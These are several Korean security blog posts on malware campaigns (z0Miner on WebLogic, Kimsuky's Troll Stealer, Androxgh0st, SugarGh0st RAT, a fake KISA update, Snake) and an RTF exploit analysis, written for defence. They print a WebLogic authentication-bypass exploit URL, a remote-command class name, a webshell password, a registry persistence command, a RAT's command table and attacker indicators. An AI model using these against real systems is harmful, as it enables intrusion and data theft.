1. 개요

- 최근 국내 WebLogic 서버를 공격 및 장악해 z0Miner 악성코드를 유포하는 정황이 포착

- 정보 탈취 또는 랜섬웨어를 설치할 수 있어 웹로직 서비스 점검 필요

 

2. 주요 내용 [1]

2.1 z0Miner [2]

- 2020년 Tecnet 보안팀에 의해 처음으로 소개된 마이너 악성코드 (암호 화폐 채굴 봇넷)

- 국내외 보안이 취약한 서버인 Atlassian Confluence, Apache ActiveMQ, Log4J 등을 대상으로 마이너 악성코드를 유포

- CVE-2020-14882, CVE-2020-14883을 악용해 WebLogic 서버 공격

구분 설명
CVE-2020-14882 [3] - 특수하게 조작된 GET 요청을 통해 인증을 우회하여 관리자 콘솔 접근할 수 있는 취약점 [4][5]
Exploit: hxxp://IP:7001/console/css/%252e%252e%252fconsole.portal
- 영향받는 버전: WebLogic 서버 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0 버전
- CVSS: 9.8
CVE-2020-14883 [6] - 인증 우회(CVE-2020-14882)에 성공한 후 MVEL 표현식을 이용해 원격 명령을 실행할 수 있는 취약점 [7][8]
- Exploit: com[.]tangosol[.]coherence[.]mvel2[.]sh[.]ShellSession 클래스 악용
- 영향받는 버전: WebLogic 서버 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0 버전
- CVSS: 7.2

 

2.2 악성코드 배포

- 취약한 WebLogic 서버를 장악한 뒤 악성코드를 배포하는 다운로드 서버로 악용

> Miner 및 네트워크 도구, 공격에 필요한 스크립트 등

> 악용된 서버는 모두 서버 정보와 Tomcat의 구체적인 버전을 노출

[사진 1] 서버 정보 노출

 

악성코드 설명
WebShell - CVE-2020-14882를 악용해 JSP 웹쉘을 업로드하여 지속성 유지 및 시스템 제어
- 백신 탐지를 피하기위해 여러 종류의 웹쉘을 업로드

① JSP File Browser
> 커스터마이징된 JSP File Browser v1.2 웹쉘
> Password는 “zubin@666″ 하드코딩

② Shack2
> OS 정보 등 컴퓨터 정보 출력, 파일 매니저, 명령어 수행 기능을 제공 [9]

③ Behinder
> 과거부터 사용되어 많이 알려진 웹쉘 [10]
FRP(Fast Reverse Proxy) - RDP(Remote Desktop Protocol) 통신하기 위해 사용한 Proxy 도구
- 기본적인 형태의 FRPC와 커스터마이징한 FRPC를 사용
> 기존 FRPC: *.INI 형태의 설정 파일을 불러 읽어와 접속을 시도
> 커스텀 FRPC: 프로그램 내부에 설정 데이터를 가지고 있어 별도의 파일 없이 실행
※ 직접 통신할 수 없는 인트라넷 PC에 외부에서 접근 가능하도록 중계기를 둬 구성하는 오픈소스 도구 [11]
Netcat - 파일명 "userinit.exe"로 Netcat을 다운로드 받아 실행
- 하드코딩된 IP:Port에 연결을 시도하며, 연결 시 cmd를 실행하는 명령으로 구성
AnyDesk - 공식 홈페이지를 접속하여 AnyDesk를 다운로드하여 탐지 회피
- 시스템 장악 후 원격에서 화면 제어 목적
Miner(XMRig) - Windows XMRig는 6.18.0 버전, Linux의 경우 XMRig는 6.18.1 버전 유포
- 지속성 유지를 위해 스케줄러를 등록해 특정 주소로부터 파워쉘 스크립트를 읽어 실행
- ‘javae.exe’ 이라는 이름으로 채굴을 수행

 

3. 대응방안

① 웹로직 서버 최신 버전 유지

② 관리되지 않는 포트 및 서버 점검

③ 백신 등 안티바이러스 S/W 최신 버전 유지

④ 침해지표 등록 및 모니터링

 

4. 참고

[1] https://asec.ahnlab.com/ko/62166/
[2] https://s.tencent.com/research/report/1170.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2020-14882
[4] https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
[5] https://attackerkb.com/topics/sb4F8UT5zu/cve-2020-14882-unauthenticated-rce-in-console-component-of-oracle-weblogic-server/rapid7-analysis
[6] https://nvd.nist.gov/vuln/detail/CVE-2020-14883
[7] https://pentest-tools.com/vulnerabilities-exploits/oracle-weblogic-remote-command-execution_123
[8] https://pentest-tools.com/blog/detect-exploit-oracle-weblogic-rce-2020
[9] https://github.com/theralfbrown/WebShell-2/blob/master/jsp/SJavaWebManageV1.4.jsp
[10] https://github.com/NS-Sp4ce/CVE-2021-21972/blob/main/payload/Linux/shell.jsp

[11] https://github.com/fatedier/frp

[12] https://www.boannews.com/media/view.asp?idx=127363&page=4&kind=1

1. 개요

- 북한 배후 해킹그룹 김수키(Kimsuky)에서 국내 보안 프로그램으로 위장한 악성코드 유표 정황 포착

- Go 언어 기반 인포스틸러로, 국내 보안기업의 보안 프로그램 설치파일로 위장

- 시스템 정보, 브라우저 정보, AV 설치 목록 등을 탈취하며, GPKI 정보 또한 탈취를 시도

- 악성코드에 파일에 포함된 문자열을 따 '트롤스틸러(Troll Stealer)'로 명명

 

2. 주요내용 [1]

- 악성코드는 국내 특정 웹 사이트 접속시 연결되는 보안 프로그램 다운로드 페이지로부터 유포

> SGA Solutions의 보안 프로그램 설치 파일(TrustPKI, NX_PRNMAN)로 위장

> 악성코드는 정상 인스트롤러와 악성코드를 드랍 및 실행하는 Dropper

> 악성파일은 모두 원래 인증서인 “SGA Solutions”가 아닌, 유효한 “D2innovation Co.,LTD” 인증서로 서명

[사진 1] 악성 파일 서명 정보

2.1 실행 흐름

[사진 2] 실행 흐름 요약

① Mutex  생성 및 자가 삭제

- 중복 실행 방지를 위한 Mutex 생성

- %Temp% 하위 경로에 자가 삭제를 위한 BAT 스크립트 파일 생성 및 실행

 

② 파일 Dropper

- 정상으로 위장하기 위해 SGA Solutions 정상 설치파일을 Desktop 경로에 설치 및 실행

- Troll Stealer와 감염 이력을 확인하기 위한 파일을 드랍

 

③ Troll Stealer 설치

- rundll32.exe 프로세스를 통해 실행하며, 감염 이력 확인을 위한 파일명이 Export 함수로 호출

> 감염 이력 확인을 위한 파일이 존재하는 경우에만 악성 행위 수행

> 자체적으로 중복실행 방지를 위한 Mutex 생성 (Dropper Mutex와 다른 값)

> 분석 방해를 위해 VMProtect 패킹

 

④ 구성 데이터 설정

- 감염된 시스템의 MAC주소, 디렉터리 경로 수집 후 악성행위 수행을 위해 Config 임시 파일 생성

> Config 내에는 C2 서버 주소 등의 정보가 포함

> Config 파일 암호화 후 C2 서버 전송 및 파일 삭제

 

⑤ 정보 수집

- 감염된 시스템 내 정보를 탈취 및 암호화 후 C2 서버로 전송

- 특히, C드라이브 내 GPKI(Government Public Key Infrastructure) 폴더 탈취 시도가 확인

> 행정전자서명인증서인 GPKI는 국내 행정 및 공공기관 등의 정부에서 사용하는 전자적 정보 [2]

> 행정전자서명의 진위를 검증할 때 사용되는 공인인증서

> 일반 PC에서는 사용되지 않고, 공무를 위해 사용되는 PC에 설치되는 것이 일반적

> 공공에 설치된 PC 등을 타겟으로 한 캠페인으로 평가됨

[사진 3] 악성코드 탈취 정보 목록

 

⑥ 파일 암호화

- C2 서버로 데이터 전송 전, 데이터를 암호화

> RC4와 RSA-4096 알고리즘을 조합하여 데이터를 암호화

> 하드코딩된 PKCS#1의 DER로부터 RSA 공개키 파싱을 수행

> 랜덤 RC4 키 값을 생성하여 탈취 데이터 암호화

> RSA 공개키를 이용해 RC4 암호화 키 암호화

 

⑦ C2 통신

- C2 통신을 위해 12개의 필드로 구성된 60바이트 크기의 구조를 사용

> 통신 목적과 전송하는 데이터 유형에 따라 각 필드 값을 다르게 설정

> 데이터를 구조에 맞게 구성한 후 바이너리 내 하드코딩된 4바이트 Key를 사용해 XOR 및 Base64 인코딩

> 인코딩 결과는 "a=[Encoded_Data]" 형식으로 C2 서버에 전송

※ 데이터 탈취 => 파일 암호화(RC4+RSA) => 통신 구조체 인코딩(XOR+Base64) => a 파라미터로 전달

[사진 4] 통신 구조 및 필드 값

⑧ 자가 삭제

- 악성행위 수행 후 자가삭제를 위해 .tmp 디렉토리에 PS1 파일 생성

> PS1 파일은 악성 DLL 및 스스로를 삭제

 

※ 분석 보고서에서 침해지표 제공 [1]

 

3. 참고

[1] https://medium.com/s2wblog/kimsuky-disguised-as-a-korean-company-signed-with-a-valid-certificate-to-distribute-troll-stealer-35b3cd961f91
[2] https://www.gpki.go.kr/jsp/certInfo/certIntro/eSignature/searchEsignature.jsp
[3] https://www.boannews.com/media/view.asp?idx=126703&page=1&kind=1

1. 개요

- FBI, CISA는 Androxgh0st 악성코드와 관련된 보안권고 발표 [1]

알려진 여러 취약점을 악용해 봇넷을 구성하여 Androxgh0st 유포

.env 파일에서 민감 정보를 추출해 유명 애플리케이션의 자격 증명 탈취 목적을 지닌 파이선 스크립트 멀웨어

> AWS, Microsoft Office 365, SendGrid, and Twilio
> .env: 환경 변수가 저장된 파일로, API key, port, DB 등 민감한 정보를 환경변수에 담아 관리 [2][3]

 

2. 주요 내용

2.1 Androxgh0st [4]

- 22.12 보안 업체 Lacework 최초 발견한 파이썬을 기반 멀웨어

Laravel 애플리케이션의 .env 파일에서 크리데셜이나 API 키 등 민감 데이터를 찾아내 추출하는 기능을 지님

- CreateUser(사용자 생성), CreateLoginProfile(로그인 프로필 생성), AttachUserPolicy(권한 부여), DeleteAccessKey(키 삭제) 등의 기능

※ Laravel: 오픈 소스 PHP 웹 프레임워크 중 하나

 

2.2 악용 취약점

2.2.1 PHPUnit 취약점 (CVE-2017-9841)

- eval-stdin.php 페이지 내 제대로 된 인증이 존재하지 않아 임의의 PHP 코드를 실행할 수 있는 취약점 [5][6]

- 취약점을 악용해 POST 요청으로 Androxgh0st를 다운로드하며, 추가 악성파일 다운 및 DB 접근

 

2.2.2 Laravel 프레임워크 취약점 (CVE-2018-15133)

신뢰할 수 없는 X-XSRF-TOKEN 값을 역직렬화하여 원격 코드 실행이 가능한 취약점 [7][8]

- 취약점을 악용해 .env 파일이 외부에 노출된 서비스에 GET 요청을 통해 애플리케이션 키 획득

Androxgh0st를 애플리케이션 키로 암호화하여 웹 사이트에 업로드

 

2.2.3 Apache 웹 서버 취약점 (CVE-2021-41773)

경로 순회 문자(../)의 미흡한 필터링으로인해 발생하는 경로 탐색 및 원격 코드 실행 취약점 [9][10]

- 취약점을 악용해 Apache 웹 서버의 자격증명을 획득하여 민감 데이터 접근 또는 추가 악성 행위 수행

 

3. 대응방안

- 관련 취약점이 해결된 버전으로 업데이트 수행
- 불필요한 서비스의 노출 유무 확인
- 불분명한 파일 및 자격 증명 파일 존재 여부 검토
- 취약점 스캔시 androxgh0st 등 시그니처가 존재하므로 관련 시그니처 탐지 정책 적용

FBI, CISA 권장사항 ① 시스템 최신 상태 유지
② 운영 체제, 소프트웨어, 펌웨어 정기적 업데이트
> 아파치 서버가 2.4.49 또는 2.4.50 버전을 실행하고 있지 않은지 확인
③ 모든 URI에 대한 기본 구성이 모든 요청을 거부하도록 되어 있는지 확인
> 명시적으로 필요한 경우 제외
④ 라이브 Laravel 애플리케이션이 '디버그' 또는 테스트 모드에 있지 않은지 확인
⑤ .env 파일에서 클라우드 자격 증명 제거 및 해지
⑥ 저장된 클라우드 자격 증명을 정기적으로 검토
> 무단 액세스 또는 사용이 있는지 확인
⑦ 서버의 파일 시스템, 특히 중요한 디렉터리에서 불분명한 PHP 파일이 있는지 확인
⑧ GitHub나 pastebin 등의 파일 호스팅 사이트에 대한 cURL 명령으로 GET 요청 확인
> 특히 .php 파일에 대한 접근을 확인

 

4. 참고

[1] https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-016a

[2] https://velog.io/@hoho_0815/env-%ED%8C%8C%EC%9D%BC%EC%97%90-%EB%8C%80%ED%95%98%EC%97%AC
[3] https://tooo1.tistory.com/582
[4] https://www.lacework.com/blog/androxghost-the-python-malware-exploiting-your-aws-keys/
[5] https://nvd.nist.gov/vuln/detail/CVE-2017-9841
[6] https://github.com/vulhub/vulhub/tree/master/phpunit/CVE-2017-9841
[7] https://nvd.nist.gov/vuln/detail/cve-2018-15133
[8] https://github.com/kozmic/laravel-poc-CVE-2018-15133
[9] https://nvd.nist.gov/vuln/detail/CVE-2021-41773
[10] https://github.com/lorddemon/CVE-2021-41773-PoC
[11] https://www.boannews.com/media/view.asp?idx=125876&page=2&kind=1
[12] https://www.dailysecu.com/news/articleView.html?idxno=152936
[13] https://www.techtube.co.kr/news/articleView.html?idxno=4216

1. 개요

- CISCO Talos에서 대한민국 사용자를 대상으로한 중국 배후 RAT "SugarGh0st RAT" 발견 [1]

> Gh0st RAT의 변종으로, C2 서버와 통신하며 명령을 수행

> 대한민국 사용자외에도 우즈베키스탄 외교부를 대상으로 공격 수행

 

1.1 Gh0st RAT [2]

- 红狼小组(C.Rufus Security Team)이라는 중국 그룹에 의해 개발

- 2008년 소스코드가 공개되어 여러 변종이 등장

 

2. SugarGh0st RAT

- 기존 Gh0st RAT과 차이점

① 정교한 표적 공격

② 특정 ODBC(Open Database Connectivity) 레지스트리 키를 찾음
③ 특정 파일 확장자와 함수 이름을 가진 라이브러리 파일을 로드
④ 원격 관리 작업을 용이하게 하기위한 C2 통신 프로토콜 변경 등

 

- 하드 코딩된 C2 도메인을 사용하며, 대상자에 뮤텍스를 생성하고 키로깅을 시작

> 키로깅은 %Program Files% 위치에 "WinRAR'' 폴더 생성 및 키로거 파일 "WinLog.txt" 생성

> WSAStartup() 함수를 이용해 하드코딩된 C2&Port로 연결을 설정

> 실행 후 10초마다 C2에 대한 연결 설정을 시도하며, 첫 패킷은 항상 "0x000011A40100"

> 컴퓨터 이름, OS 버전, 루트 및 기타 드라이브 정보, 특정 레지스트리 값 등을 전송

> 4바이트 16진수 명령 및 관련 데이터를 사용하여 C2 서버의 명령에 따라 원격 제어 기능을 수행

순번 명령 설명
1 0x20000001 프로세스 권한을 "SeShutdownPrivilege"로 조정하고 호스트 강제 종료
2 0x20000002 프로세스 권한을 "SeShutdownPrivilege"로 조정하고 호스트 강제 재부팅
3 0x20000003 프로세스 권한을 "SeShutdownPrivilege"로 조정하고 프로세스 강제 종료
4 0x20000004 이벤트 로그 지우기
5 0x20000005 레지스터 키 HKEY_LOCAL_MACHINE\Software\ODBC\H 생성
6 0x20000011 기본 창에서 키 누르기
7 0x20000012 기본 창에서 키 놓기
8 0x20000013 마우스 커서 위치 설정
9 0x20000014 마우스 왼쪽 버튼 클릭
10 0x20000015 마우스 왼쪽 버튼 놓기
11 0x20000016 마우스 왼쪽 버튼을 더블클릭
12 0x20000017 마우스 오른쪽 버튼 클릭
13 0x20000018 마우스 오른쪽 버튼 놓기
14 0x20000019 마우스 왼쪽 버튼을 더블클릭
15 0x21000002 피해자 컴퓨터의 논리 드라이브 정보 전송
16 0x21000003 피해자 컴퓨터 파일 시스템에서 파일 검색
17 0x21000004 피해자의 컴퓨터 파일 시스템에서 파일 삭제
18 0x21000005 파일을 %TEMP% 위치로 이동
19 0x21000006 임의의 쉘 명령을 실행
20 0x21000007 피해자 컴퓨터에 파일을 복사
21 0x21000008 피해자 컴퓨터에서 파일 이동
22 0x21000009 C2 서버로 파일 전송
23 0x2100000A 데이터를 Windows 소켓으로 전송
24 0x2100000B C2 서버로부터 파일 수신
25 0x22000001 스크린샷을 C2 서버로 전송
26 0x24000001 %ProgramFiles%/WinRAR/~temp.dat 파일 읽기(XOR 0x62로 인코딩됨)
27 0x24000002 %ProgramFiles%/WinRAR/~temp.dat 파일 삭제
28 0x23000000 C2 서버에 대한 역방향 셸 액세스를 제공
29 0x25000000 프로세스 정보를 얻고 프로세스를 종료
30 0x25000001 프로세스 정보 열거
31 0x25000002 프로세스 종료
32 0x25000003 피해자 기계 서비스 관리자에 액세스 
33 0x25000004 실행 중인 서비스의 구성 파일에 액세스
34 0x25000005 서비스 시작
35 0x25000006 서비스 종료 및 삭제
36 0x25000010 Windows 작업을 수행
37 0x25000011 창 목록 가져오기
38 0x25000012 Window에서 메시지 받기
39 0x28000000 창을 캡처하고 SendMessage API를 사용한 명령을 기반으로 일련의 창 작업 수행
40 0x28000002 "%PROGRAMFILES%\\Common Files\\DESIGNER'' 아래에 OLE 파일을 만들고 실행

 

2.1 첫 번째 공격 체인 

[사진 1] 첫 번째 공격 체인

 

① 악성 LNK 파일이 포함된 RAR 파일

② LNK 파일 실행 시 내장된 JavaScript 실행

> 드로퍼의 시작 부분인 "var onm=" 문자열 검색 후 %temp%에 로드

> LoLBin(living-off-the-land Binaries)를 사용해 JavaScript 실행 [3]

 

[사진 2] LNK 파일 내 포함된 JavaScript

 

③ JavaScript는 미끼용 문서, 암호화된 SugarGh0st 페이로드, DLL 로더 및 배치 스크립트 생성

> 드로퍼로 동작하며, 포함된 파일을 디코딩하여 %TEMP% 경로에 생성

> 미끼용 문서 오픈, %TEMP%에서 배치 스크립트 로더 실행, DLL 로더 실행 순

> 동작 완료 후 자체적으로 삭제

 

④ 배치 스크립트와 DLL 로더를 실행해 암호화된 SugarGh0st 페이로드를 해독해 실행

> "ctfmon.bat"는 DLL 로더를 실행하는 명령이 포함

> "MSADOCG.DLL"은 %TEMP%에서 암호화된 SugarGh0st 페이로드 파일 "DPLAY.LIB'' 복호화 및 메모리에서 SugarGh0st 실행

 

2.2 두 번째 공격 체인 

[사진 3] 두 번째 공격 체인

 

- JavaScript는 쉘코드를 실행하기 위해 DynamicWrapperX를 사용하며, 이후 SugarGh0st RAT를 실행

> 이외 나머지 과정은 첫 번째 공격 체인과 동일

> DynamicWrapperX는 스크립트(JScript, VBScript 등)에서 Windows API 함수 호출을 활성화하는 ActiveX 구성 요소 [4]

> 지속성을 위해 Run 레지스트리 키에 "CTFMON.exe"라는 레지스트리 하위 키를 생성

구분 설명
JavaScript 지속성  레지스트리 키 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
하위 키 CTFMON.exe
“cmd /c start C:\Users\user\AppData\Local\Temp\dllhost.exe C:\Users\user\AppData\Local\Temp\~204158968.js”
DynamicWrapperX 레지스트리 키 Software\Classes\DynamicWrapperX
하위 키 CLSID
"89565275-A714-4a43-912E-978B935EDCCC" 

 

3. 침해지표 [5]

구분
URL account[.]drive-google-com[.]tk
login[.]drive-google-com[.]tk
IP 103.148.245.235
103.108.67.191
파일 Hash 8584094f79fce97321ee82ca5da41b6830ecc6a0921bcaddb8dd337827cd7d1a
3436135bb3839521e7712882f0f6548aff78db66a1064408c49f820a0b85d980
c758eed6660786097b63ac6748236b5b6084783703ea7ee2111e8f0bcaa3652e
6dff111b6adc9e33bed20eae99bec779f1c29dd55895a71125cfbe3c90950eb2
7c87451261dfce64fda987eb395694b5330fd958466c46c931440cd9dc227505
ddac61f918ed87b49ef15d05873e7f52b919758aef713145f6a7d538c714fa2e
f3ea4611c72d57eabf381d5639c3c8d1840cb005ed811f3038410fb2e04978c1
9d9a0af09fc9065bacabf1a193cad4386b5e8e5101639e07efa82992b723f3b0
5ad182c913f0b5cb6a34126137c335110d4c9472f5c745cb7a438d108b03b27c
38c815729f34aef6af531edf3f0c3f09635686dbe7e5db5cb97eca5b2b5b7712
adb4eb33213fa81c8b6cc013a6f4a43fa8b70eb8027433cf4339b532cb6e84cf
2e543adb701afd40affcb4c51bd8246398b0210bee641ca9aeffcca893c9e4a5
7cacdc84a0d690564c8471a4f58ab192ef7d9091ab0809933f616010bbf6846a
66982ebd5ebb75633723c7057a1e948ac3aafe3ff808397eb0c55c853c82f9e6
21f19d87d2169c82efd76ddb1baa024a1e59b93f82d28f276de853fc3ef8b20e
362fde3362e307af3787b9bf0b5c71f87b659a3217e054c4d0acea8b9e6d74b0
ee5982a71268c84a5c062095ce135780b8c2ffb1f266c2799173fb0f7bfdd33e
9783c0eee31ce6c5f795ecf387025af5d55208ff2713c470af2042721ab38606
410d7dc973d188cd0d962a59f48deb1cfc73adf37857765e90194f6e878d4488
bd0a1efe07fcb4af4bec1b2881a0711f0be34044680ad8cff958a68a70d4a914
ff0f28f96bbb6c80fc3823fe71d5e07e1a05b06986e82a2fbe324d68ba5ab2ea

 

 

4. 참고

[1] https://blog.talosintelligence.com/new-sugargh0st-rat/
[2] https://github.com/sin5678/gh0st
[3] https://socprime.com/blog/what-are-lolbins/
[4] https://dynwrapx.script-coding.com/dwx/pages/dynwrapx.php?lang=en
[5] https://github.com/Cisco-Talos/IOCs/blob/main/2023/11/new-sugargh0st-rat.txt
[6] https://www.dailysecu.com/news/articleView.html?idxno=151748

1. 개요

- 국가사이버안보센터는 최근 국가배후 해킹조직의 공격 정황을 확인했다고 발표

- 해당 조직은 KISA 보안 업데이트 등 정상 프로그램으로 위장하여 악성코드를 유포

> KISA 보안 업데이트 외 MS 업데이트, 소프트웨어 설치 파일 등으로 위장하여 유포될 가능성이 존재

 

2. 주요 내용 [2]

- 확인된 악성 파일은 ‘KISA-Security-Upgrade.exe’라는 이름으로 유포

> 이노 셋업(Inno Setup) 소프트웨어를 사용하여 제작

> 이노 셋업이란 JrSfoftware社에서 제작한 스크립트 기반의 윈도우용 설치 프로그램을 제작할 수 있는 도구

[사진 1] 위장 설치 프로그램

 

- 해당 파일 내부에 스크립트 파일 ‘install_script.iss’이 존재

> 스크립트 파일에 기록된 명령에 따라 시스템 파일 생성 및 프로그램 설치

[사진 2] install_script.iss 파일 정보

 

[사진 3] 악성코드 동작 과정

 

- 해당 파일을 실행하면 사용자 PC의 시작 프로그램에 자동으로 등록되어 PC를 시작할 때마다 자동 실행

> 감염 시스템 정보를 수집하여 C2 서버로 전송하며, 공격자의 명령에 따라 여러 명령을 수행할 수 있음

[사진 4] 레지스트리에 시작프로그램으로 등록

3. 대응방안

- 공식 홈페이지를 통해 설치 파일 다운로드 등 기본 보안 수칙 준수

> 다양한 파일로 위장하여 악성코드를 유포하기 때문

> 자동으로 다운로드되는 파일이나 파일 공유 사이트 등 출처가 불분명한 파일 다운로드 및 실행 지양

 

- 관련 프로그램 제거 (KISA-Security-Upgrade.exe 등)

> [제어판] - [프로그램] - [프로그램 및 기능]에서 파일 삭제

 

- 침해지표 등록 [2]

 

4. 참고

[1] https://jrsoftware.org/ishelp/
[2] https://asec.ahnlab.com/ko/54041/
[3] https://www.boannews.com/media/view.asp?idx=119058&page=1&kind=1

1. 개요

- 미국 CISA, NSA, FBI 등에서 러시아 연방 보안국(FSB)과 연관된 것으로 추정되는 Snake 악성코드 분석 보고서 발표

- Snake 악성코드는 50여 개 국가 정부 네트워크, 연구 시설 및 언론 등을 대상으로 민감 정보 탈취를 시도

 

Hunting Russian Intelligence “Snake” Malware | CISA

SUMMARY The Snake implant is considered the most sophisticated cyber espionage tool designed and used by Center 16 of Russia’s Federal Security Service (FSB) for long-term intelligence collection on sensitive targets. To conduct operations using this too

www.cisa.gov

 

2. 주요내용

① 러시아 배후 해킹 그룹 Turla는 피싱메일과 무차별 대입 공격을 통해 자격 증명 정보 획득 및 관리자 권한 획득 시도

- 초기 액세스 권한 획득 후 Snake 악성코드 배포

> jpsetup.exe(이미지 뷰어 설치 프로그램)을 통해 Snake 악성코드 배포

> 정상적인 경로(%windows%\WinSxS\)에 WerFault.exe 등록하여 지속성 유지

WinSxS (Windows Side By Side)
- Windows OS의 "DLL Hell" 문제를 해결하기 위해 만들어짐
※ DLL Hell: DLL을 관리할 때 발생할 수 있는 모든 문제를 의미
> Windows OS는 프로그램 사용 시 DLL파일을 사용
> 업데이트 등으로 DLL이 변경되는 경우 DLL 관련 문제가 발생할 수 있음
※ DLL 버전 충돌 문제, 프로그램이 의존하는 DLL 파일을 찾을 때의 어려움, 불필요한 DLL 파일 복사본이 만들어지는 문제 등
> 이러한 문제를 해결하기 위한 목적으로 등장

- 윈도우 업데이트 시 시스템, 드라이버가 변경되는 폴더, 파일들을 WinSxS 폴더에 백업
> 프로그램 실행 시 해당 디렉터리에서 DLL에 관한 정보를 불러옴
> 이를 통해 의존성 문제를 줄일 수 있음

 

② 관리자 권한 획득 후 도메인 컨트롤러에 액세스

- 조직의 전체 네트워크에 대한 정보 수집 목적

> 키로거, 네트워크 스니퍼, 오픈 소스 등의 도구를 사용

 

③ 여러 노드를 경유하여 내부 정보 유출

- 여러 프로토콜을 이용한 통신(TCP, UDP, HTTP, SMTP, DNS 등)과 암호화를 사용해 탐지 우회

 

3. 탐지규칙

3.1 Snort

- 권고된 탐지 규칙을 적용하기 전 운영 환경을 고려하여 적용여부 검토

alert http any any -> any any (msg: "http rule (Cookie)";pcre:"/[0-9A-Za-z]{10}[0-9A-Za-z\/\+]{11}=/C";flow: established, to_server;sid: 7; rev: 1;)

alert http any any -> any any (msg: "http rule (Other Header)";pcre:"/[0-9A-Za-z]{10}[0-9A-Za-z\/\+]{11}=/H";flow: established, to_server;sid: 8; rev: 1;)

alert http any any -> any any (msg: "http2 rule (Cookie)";pcre:"/[0-9A-Za-z]{22}[0-9A-Za-z\/_=\;]{11}/C";flow: established, to_server;sid: 9; rev: 1;)

alert http any any -> any any (msg: "http2 rule (Other Header)";pcre:"/[0-9A-Za-z]{22}[0-9A-Za-z\/_=\;]{11}/H";flow: established, to_server;sid: 10; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";content: "|00 00 00 08|"; startswith; dsize: 12;flow: established, to_server; flowbits: set, a8; flowbits: noalert;sid: 1; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";content: "|00 00 00 04|"; startswith; dsize:8;flow: established, to_server; flowbits: isset, a8; flowbits: unset, a8;flowbits: set, a4; flowbits: noalert;sid: 2; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";content: "|00 00 00 08|"; startswith; dsize: 4;flow: established, to_client; flowbits: isset, a4; flowbits: unset, a4;flowbits: set, b81; flowbits: noalert;sid: 3; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";dsize: 8; flow: established, to_client; flowbits: isset, b81;flowbits: unset, b81; flowbits: set, b8; flowbits: noalert;sid: 4; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";content: "|00 00 00 04|"; startswith; dsize: 4;flow: established, to_client; flowbits: isset, b8; flowbits: unset, b8;flowbits: set, b41; flowbits: noalert;sid: 5; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";dsize: 4; flow: established, to_client; flowbits: isset, b41;flowbits: unset, b41;sid: 6; rev: 1;)

 

3.2 Yara

- Snake Queue File 탐지

rule HighEntropy
{
    meta:
        description = "entropy rule"

    condition:
        math.entropy(0, filesize) >= 7.0
}

 

- Snake Werfault.exe 탐지

rule PeIconSizes
{
    meta:
        description = "werfault rule"

    condition:
        pe.is_pe 
        and 
        for any rsrc in pe.resources:
            (rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 3240)
        and
        for any rsrc in pe.resources:
            (rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 1384)
        and
        for any rsrc in pe.resources:
            (rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 7336)
}

 

4. 기타 대응 방안

- 암호 변경: 기본 암호 사용, 암호 유출 가능성 등을 고려하여 전사 차원의 암호 변경

- 최소권한부여: 관리자 권한 획득을 어렵게 하기 위함

- MFA 적용: 계정에 엑세스하지 못하도록 하기 위함

1. 분석 도구

1.1 Virus Total [1]

- 무료로 파일 검사를 제공하는 웹사이트로, 파일, URL 내의 바이러스를 검사해주는 사이트 (IP 조회도 가능)

 

1.2 HxD [2]

- 파일에 저장된 HEX(16진수) 값을 읽고 수정하는데 이용

 

1.3 rtfdump.py [3][4]

- Github에서 다운받을 수 있는 파이썬으로 작성된 RTF 파일을 분석하는데 사용되는 Open Source

 

1.4 oledump.py [8]

- OLE 파일을 분석하는 프로그램

 

2. 분석

 Virus Total 조회

- 실습에서 진행한 RTF 파일을 Virus Total에서 조회한 결과는 다음과 같음

> 58개의 벤더사 중 39개의 벤더사가 악성 파일로 탐지

> 탐지명을 확인해보면 CVE-2017-0199와 관련된 것임을 알 수 있음

[사진 1] Virus Total 조회 결과

 

② 파일 속성 및 HxD 조회

- 파일 속성과 HxD 확인 결과 해당 파일이 RTF 파일임을 확인

> RTF 파일은 파일 시그니처7B 5C 72 74 66 31 ({rtf1)를 가짐 [5]

[사진 2] 파일 속성 및 HxD 확인 결과

 

③ rtfdump.py 파일 덤프

- 먼저 -m 옵션을 사용해 rtfdump.py의 사용법에 대해 확인

[사진 3] rtfdump.py -m 결과

 

- yeahhub.rtf 파일 덤프 결과 문서에 포함된 객체들이 조회됨

> [사진 5]를 통해 RTF 문서에서 원격 객체와 연결을 하기위해 "objautlink"를 사용하며, 그 중 "objdata"에 OLE 객체를 포함하고 있는것을 확인 [6]

> objautlink ⊃ objdata ⊃ OLE 객체로 정리함

※ [사진 4]에서 첫 번째 열의 숫자는 rtfdump에서 파생된 출력 값으로 파일의 일부가 아님

[사진 4] objdata

 

[사진 5] RTF 내 objdata 객체

 

- 분석 후 추가 구글링 결과 rtfdump.py의 경우 아래 명령으로 문서에 포함된 OLE 객체를 찾을 수 있다고 확인됨

rtfdump.py -f O 파일명

 

- [사진 4]에서 확인된 objdata의 값을 -s 옵션으로 확인한 결과 "01050000 02000000"이 확인

> "01050000 02000000"는 각각 01050000 OLE 버전 정보, 02000000 임베디드 객체를 뜻함 [7]

> -H 명령을 추가해 확인하면 더욱 명확히 OLE 객체임을 알 수 있음

[사진 6] -s 10 명령 결과

 

[사진 7] -H 추가 결과

 

④ oledump.py

- [사진 7]의 결과에서 두 가지 옵션 추가 및 "|"를 사용해 oledump.py의 입력으로 전달

> -E: 포함된 객체 덤프

> -d: 출력된 내용 덤프

[사진 8]에서 첫 번째 열의 숫자는 oledump에서 파생된 출력 값으로 파일의 일부가 아님

[사진 8] 덤프 파일 출력

 

- -s 옵션으로 각각의 스트림을 확인한 결과 첫 번째 스트림에서 악성 URL 확인

[사진 9] 문자 스트림 출력

 

- [사진 9]에서 확인된 악성 URL로 HTA 파일을 요청하고, HTA 파일에 포함된 리버스쉘 생성 명령이 실행

[사진 10] 패킷 일부

 

3. 참고

[1] https://www.virustotal.com/gui/home/upload
